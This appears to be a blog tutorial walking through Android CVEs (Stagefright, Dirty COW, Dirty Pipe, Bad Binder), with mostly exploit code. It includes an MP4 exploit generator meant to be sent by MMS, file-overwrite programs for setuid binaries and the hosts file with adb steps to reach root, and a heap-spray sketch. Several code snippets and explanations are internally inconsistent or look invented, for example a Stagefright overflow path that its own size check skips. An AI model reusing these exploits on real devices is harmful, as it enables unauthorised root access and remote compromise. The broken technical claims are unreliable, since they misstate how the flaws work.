Android CVE Analysis: Stagefright to Dirty Pipe Exploitation

Mamoun Tarsha-Kurdi
8 min read

Introduction

Android CVE analysis requires understanding both application-layer vulnerabilities in frameworks like Stagefright and kernel-level exploits affecting the Linux subsystem. This guide analyzes major Android CVEs, from media codec exploits to privilege escalation vulnerabilities.

Stagefright Vulnerabilities (CVE-2015-1538)

Background

Stagefright is Android’s media playback library handling various formats (MP4, 3GP, MKV). Multiple integer overflow and buffer overflow vulnerabilities enabled remote code execution via MMS.

Root Cause Analysis

Vulnerable code (libstagefright/MPEG4Extractor.cpp):

status_t MPEG4Extractor::parseChunk(off64_t offset, int depth) {
    uint32_t chunk_type;
    uint64_t chunk_size;

    // Read chunk header
    if (mDataSource->readAt(offset, &chunk_size, 8) < 8) {
        return ERROR_IO;
    }

    chunk_size = ntoh64(chunk_size);

    // VULNERABILITY: Integer overflow
    // If chunk_size is 0x1, then chunk_data_size = 0x1 - 8 = 0xFFFFFFFFFFFFFFF9 (huge value)
    if (chunk_size >= 8) {
        uint64_t chunk_data_size = chunk_size - 8;

        // Allocate buffer based on overflowed size
        void* buffer = malloc(chunk_data_size);  // Allocates small buffer due to wraparound

        // Read data into undersized buffer → heap overflow
        mDataSource->readAt(offset + 8, buffer, chunk_data_size);
    }

    return OK;
}

Integer overflow chain:

chunk_size = 0x0000000000000001 (from malicious MP4)
chunk_data_size = chunk_size - 8 = 0xFFFFFFFFFFFFFFF9
malloc(0xFFFFFFFFFFFFFFF9) → wraps to malloc(small value) due to 32-bit size_t
readAt(..., huge_size) → heap buffer overflow

Proof-of-Concept

#!/usr/bin/env python3
"""
CVE-2015-1538 Stagefright PoC
Generates malicious MP4 file
"""
import struct

def create_malicious_mp4():
    # MP4 file structure
    mp4 = b''

    # ftyp atom (file type)
    ftyp = b'ftyp' + b'mp42' + struct.pack('>I', 0) + b'mp42isom'
    mp4 += struct.pack('>I', len(ftyp) + 4) + ftyp

    # Malicious stsc atom (sample-to-chunk)
    # Integer overflow: size = 1
    stsc_size = 0x0000000000000001
    stsc = b'stsc'

    mp4 += struct.pack('>Q', stsc_size) + stsc
    mp4 += b'A' * 1000  # Overflow data

    # mdat atom (media data)
    mdat = b'mdat' + b'X' * 100
    mp4 += struct.pack('>I', len(mdat) + 4) + mdat

    return mp4

if __name__ == '__main__':
    malicious_mp4 = create_malicious_mp4()

    with open('exploit.mp4', 'wb') as f:
        f.write(malicious_mp4)

    print("[+] Generated exploit.mp4")
    print("[*] Send via MMS to trigger vulnerability")

Exploitation:

  1. Craft malicious MP4 with integer overflow
  2. Trigger heap overflow in Stagefright
  3. Overwrite heap metadata for code execution
  4. Achieve RCE in mediaserver process (system UID)

Patch Analysis

Fix (Android 5.1.1):

status_t MPEG4Extractor::parseChunk(off64_t offset, int depth) {
    uint32_t chunk_type;
    uint64_t chunk_size;

    if (mDataSource->readAt(offset, &chunk_size, 8) < 8) {
        return ERROR_IO;
    }

    chunk_size = ntoh64(chunk_size);

    // FIX: Validate chunk_size before arithmetic
    if (chunk_size < 8 || chunk_size > INT64_MAX) {
        return ERROR_MALFORMED;
    }

    uint64_t chunk_data_size = chunk_size - 8;

    // FIX: Additional size validation
    if (chunk_data_size > SIZE_MAX) {
        return ERROR_MALFORMED;
    }

    void* buffer = malloc(chunk_data_size);
    if (!buffer) {
        return ERROR_MALFORMED;
    }

    // Safe read
    if (mDataSource->readAt(offset + 8, buffer, chunk_data_size) < chunk_data_size) {
        free(buffer);
        return ERROR_IO;
    }

    // ... process buffer ...

    free(buffer);
    return OK;
}

Dirty COW (CVE-2016-5195)

Vulnerability Mechanism

Race condition in Linux kernel’s copy-on-write (COW) mechanism allows privilege escalation.

Vulnerable path:

// mm/memory.c (Linux kernel < 4.8.3)
static int do_wp_page(struct vm_fault *vmf) {
    struct page *old_page = vmf->page;

    // Check if page is writeable
    if (PageAnon(old_page) && !PageKsm(old_page)) {
        // RACE WINDOW: Between check and page replacement
        // Thread 1: madvise(MADV_DONTNEED) → unmap page
        // Thread 2: write() → trigger COW on unmapped page → UAF

        reuse_swap_page(old_page);  // Reuse page if safe
    }

    // Copy-on-write
    return wp_page_copy(vmf);
}

Exploit Implementation

/*
 * CVE-2016-5195 (Dirty COW) Android exploit
 * Overwrites read-only files (e.g., system binaries)
 */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <string.h>
#include <unistd.h>

void *map;
int fd;
char *payload = "\x7fELF...";  // Malicious ELF header
int payload_len;

void *madvise_thread(void *arg) {
    // Continuously unmap the page
    while (1) {
        madvise(map, 100, MADV_DONTNEED);
    }
    return NULL;
}

void *write_thread(void *arg) {
    // Continuously write to read-only mapping
    int f = open("/proc/self/mem", O_RDWR);
    lseek(f, (off_t)map, SEEK_SET);

    while (1) {
        write(f, payload, payload_len);
    }

    return NULL;
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <target_file>\n", argv[0]);
        printf("Example: %s /system/bin/run-as\n", argv[0]);
        return 1;
    }

    // Open target read-only file
    fd = open(argv[1], O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    struct stat st;
    fstat(fd, &st);

    // Map file as read-only
    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (map == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    printf("[*] Mapped %s at %p\n", argv[1], map);

    // Prepare payload (replace target with malicious binary)
    payload_len = strlen(payload);

    // Start race threads
    pthread_t madv_thread, wr_thread;
    pthread_create(&madv_thread, NULL, madvise_thread, NULL);
    pthread_create(&wr_thread, NULL, write_thread, NULL);

    printf("[*] Racing... (Ctrl+C to stop)\n");

    // Wait for successful write
    sleep(2);

    // Verify overwrite
    char check[100];
    lseek(fd, 0, SEEK_SET);
    read(fd, check, 4);

    if (memcmp(check, "\x7fELF", 4) == 0) {
        printf("[+] SUCCESS! File overwritten\n");
    } else {
        printf("[-] Failed\n");
    }

    return 0;
}

Exploitation steps:

# Compile exploit
adb push dirtycow /data/local/tmp/
adb shell chmod +x /data/local/tmp/dirtycow

# Target: /system/bin/run-as (setuid root binary)
adb shell /data/local/tmp/dirtycow /system/bin/run-as

# Replace with root shell
# Now run-as is malicious setuid root binary
adb shell run-as
# uid=0(root) gid=0(root) groups=0(root)

Dirty Pipe (CVE-2022-0847)

Modern Kernel Vulnerability

Similar to Dirty COW but affects Linux kernel 5.8+, including Android 12/13.

Root cause (fs/pipe.c):

// Vulnerability: pipe_write() doesn't clear PIPE_BUF_FLAG_CAN_MERGE
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from) {
    struct pipe_inode_info *pipe = filp->private_data;

    for (;;) {
        struct pipe_buffer *buf = &pipe->bufs[head & mask];

        // If previous write set CAN_MERGE flag...
        if (buf->flags & PIPE_BUF_FLAG_CAN_MERGE) {
            // ...we can append to read-only page!
            int offset = buf->offset + buf->len;

            // Write to page cache → overwrites read-only file
            copy_page_from_iter(buf->page, offset, bytes, from);
        }
    }
}

Android Exploit

/*
 * CVE-2022-0847 (Dirty Pipe) Android exploit
 */
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>

int main() {
    // Open read-only system file
    int fd = open("/system/etc/hosts", O_RDONLY);

    // Create pipe
    int pipefd[2];
    pipe(pipefd);

    // Write data to pipe (sets CAN_MERGE flag)
    write(pipefd[1], "X", 1);

    // Splice from file to pipe
    splice(fd, NULL, pipefd[1], NULL, 1, 0);

    // Write malicious data (overwrites file via page cache)
    char payload[] = "127.0.0.1 evil.com\n";
    write(pipefd[1], payload, strlen(payload));

    printf("[+] Overwrote /system/etc/hosts\n");

    close(fd);
    close(pipefd[0]);
    close(pipefd[1]);

    return 0;
}

Privilege escalation:

# Target: /system/bin/su or any setuid binary
# Overwrite with malicious code
# Achieve root

adb push dirtypipe /data/local/tmp/
adb shell /data/local/tmp/dirtypipe

Android Binder Vulnerabilities

CVE-2019-2215 (Bad Binder)

Use-after-free in Binder kernel driver.

Vulnerable code (drivers/android/binder.c):

static void binder_transaction(struct binder_proc *proc,
                               struct binder_thread *thread,
                               struct binder_transaction_data *tr) {
    struct binder_work *w;
    struct binder_transaction *t;

    // Allocate transaction
    t = kzalloc(sizeof(*t), GFP_KERNEL);

    // Add to target process
    list_add_tail(&t->work.entry, &target_proc->todo);

    // VULNERABILITY: t can be freed by target process before we use it
    // Race condition → use-after-free

    if (reply) {
        binder_pop_transaction(target_thread, in_reply_to);
        // If freed, accessing t here causes UAF
        binder_stat_br(proc, thread, cmd);
    }
}

Exploitation technique:

// Heap spraying to reclaim freed object
#define SPRAY_COUNT 1000

int spray_heap() {
    int fds[SPRAY_COUNT];

    for (int i = 0; i < SPRAY_COUNT; i++) {
        // Allocate objects same size as binder_transaction
        fds[i] = open("/dev/binder", O_RDWR);

        // Trigger allocation
        ioctl(fds[i], BINDER_VERSION, &version);
    }

    // Trigger UAF
    trigger_uaf();

    // One of our spray objects replaced freed transaction
    // Control kernel memory → privilege escalation

    return 0;
}

Automated CVE Analysis

Binary Diffing

#!/usr/bin/env python3
"""
Automated patch analysis for Android libraries
"""
import subprocess
import hashlib

def extract_apk(apk_path, output_dir):
    subprocess.run(['apktool', 'd', apk_path, '-o', output_dir])

def compare_libraries(old_lib, new_lib):
    """
    Find patched functions using bindiff
    """
    # Load libraries in IDA
    # Run BinDiff plugin
    # Export differences

    differences = []

    # Parse BinDiff results
    with open('bindiff_results.txt', 'r') as f:
        for line in f:
            if 'MODIFIED' in line:
                func_name = line.split()[1]
                differences.append(func_name)

    return differences

def analyze_patch(func_name, old_binary, new_binary):
    """
    Detailed analysis of patched function
    """
    print(f"\n[*] Analyzing {func_name}")

    # Decompile old version
    old_code = decompile_function(old_binary, func_name)

    # Decompile new version
    new_code = decompile_function(new_binary, func_name)

    # Diff
    import difflib
    diff = difflib.unified_diff(old_code.splitlines(), new_code.splitlines())

    for line in diff:
        print(line)

if __name__ == '__main__':
    # Compare vulnerable vs patched versions
    old_lib = '/path/to/old/libstagefright.so'
    new_lib = '/path/to/patched/libstagefright.so'

    modified_funcs = compare_libraries(old_lib, new_lib)

    for func in modified_funcs:
        analyze_patch(func, old_lib, new_lib)

Conclusion

Android CVE analysis spans user-space media codec vulnerabilities to kernel-level race conditions. Understanding both categories—along with patch diffing techniques—is essential for vulnerability research and exploit development.

Modern Android security (SELinux, seccomp, kernel hardening) raises the exploitation bar, but fundamental memory corruption and logic flaws continue to enable privilege escalation and remote code execution.

References

  1. Project Zero (2015). “Stagefright Vulnerability Analysis”
  2. Dirty COW (2016). “CVE-2016-5195 Technical Details”
  3. Dirty Pipe (2022). “CVE-2022-0847 Exploitation”
  4. Google (2019). “Android Security Bulletin - CVE-2019-2215”